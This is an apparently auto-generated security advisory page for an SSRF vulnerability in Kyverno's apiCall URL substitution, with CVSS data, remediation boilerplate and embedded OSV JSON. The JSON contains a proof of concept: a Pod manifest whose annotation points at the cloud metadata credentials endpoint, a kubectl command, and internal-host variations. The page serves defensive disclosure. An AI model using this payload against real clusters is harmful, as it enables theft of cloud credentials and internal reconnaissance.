GHSA-qr4g-8hrp-c4rw: Github.com/kyverno/kyverno Kyverno Has Unrestricted Outbound Requests Vulnerability
HIGHGHSA-qr4g-8hrp-c4rw is a HIGH (CVSS 7.7) kyverno has unrestricted outbound requests vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno has unrestricted outbound requests in kyverno apicall enabling ssrf. Remediation is available in the latest vendor maintenance releases.
GHSA-qr4g-8hrp-c4rw at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix GHSA-qr4g-8hrp-c4rw
To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/kyverno/kyverno to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/kyverno/kyverno
How to Check if You Are Affected
To determine whether your application is affected by GHSA-qr4g-8hrp-c4rw, inspect your project dependencies for Github.com/kyverno/kyverno:
inspect dependencies for github.com/kyverno/kyverno
Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-qr4g-8hrp-c4rw Affected Github.com/kyverno/kyverno Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/kyverno/kyverno
|
Go |
≤ 1.17.1
|
|
References
Frequently Asked Questions
What is GHSA-qr4g-8hrp-c4rw?
Which Github.com/kyverno/kyverno versions are affected?
What version fixes GHSA-qr4g-8hrp-c4rw?
Is github.com/kyverno/kyverno affected?
What is the CVSS score of GHSA-qr4g-8hrp-c4rw?
What CWE is associated with GHSA-qr4g-8hrp-c4rw?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qr4g-8hrp-c4rw",
"modified" : "2026-04-14T20:05:52Z",
"published" : "2026-04-14T20:05:52Z",
"aliases" : [ ],
"summary" : "Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF",
"details" : "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.\n\nWhen a `ClusterPolicy` uses `apiCall.service.url` with variable substitution (e.g. `{{request.object.*}}`), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.\n\nThe issue becomes **non-blind SSRF**, as response data from internal services can be reflected back to the user via admission error messages.\n\n---\n\n### Details\n\nKyverno supports variable substitution in `apiCall.service.url`, a documented feature intended to enable dynamic external lookups during admission control.\n\nHowever, the current implementation lacks fundamental safeguards in the HTTP execution path:\n\n#### Missing protections\n\n- **No URL validation** \n User-controlled input is directly embedded into the request URL without validation or normalization.\n\n- **No IP filtering** \n Requests can target:\n - Loopback (`127.0.0.1`)\n - Link-local (`169.254.0.0/16`)\n - Cloud metadata services (e.g. AWS IMDS)\n - Internal ClusterIP services\n\n- **Redirect handling not restricted** \n The Go HTTP client uses default redirect behavior (`CheckRedirect == nil`), allowing up to 10 redirects without re-validation of the target.\n\n- **Response data reflection in admission errors** \n Response bodies are propagated back to the user in admission responses under certain conditions.\n\n#### Non-blind SSRF behavior\n\nThe vulnerability is **non-blind** through two mechanisms:\n\n1. **Non-2xx responses** \n Response body is returned in admission error messages (e.g. `executor.go:98-101`)\n\n2. **2xx responses with non-JSON content** \n Parsing failures (JSON/JMESPath) include response snippets in error output\n\nThis allows attackers to retrieve data from internal services directly via `kubectl` output.\n\n---\n\n### PoC\n\n#### Preconditions\n\n1. A `ClusterPolicy` using:\n```yaml\napiCall:\n service:\n url: \"http://{{ request.object.metadata.annotations.target }}\"\n```\n\n2. An authenticated user able to create matching resources (e.g. Pods)\n\n---\n\n#### Step 1 — Create malicious resource\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: ssrf-test\n annotations:\n target: \"169.254.169.254/latest/meta-data/iam/security-credentials/\"\nspec:\n containers:\n - name: test\n image: nginx\n```\n\n---\n\n#### Step 2 — Apply resource\n\n```bash\nkubectl apply -f pod.yaml\n```\n\n---\n\n#### Step 3 — Observe output\n\nExample output:\n\n```text\nError from server: admission webhook \"kyverno\" denied the request:\nfailed to process apiCall: <response body from metadata service>\n```\n\n---\n\n#### Variations\n\n- Internal services:\n http://kubernetes.default.svc\n- Loopback:\n http://127.0.0.1:8080\n- Redirect chains to bypass naive filters\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Server-Side Request Forgery (SSRF)\n- Non-blind data exfiltration\n\n#### Affected scope\n- Kubernetes clusters using Kyverno policies with `apiCall.service.url` and variable substitution\n\n#### Impact details\n\n- Access to internal services (ClusterIP, localhost)\n- Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure)\n- Internal network reconnaissance\n- Multi-tenant boundary weakening\n\nThis issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a **critical attack chain**.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/kyverno/kyverno"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.17.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-qr4g-8hrp-c4rw"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kyverno/kyverno"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-14T20:05:52Z",
"nvd_published_at" : null
}
}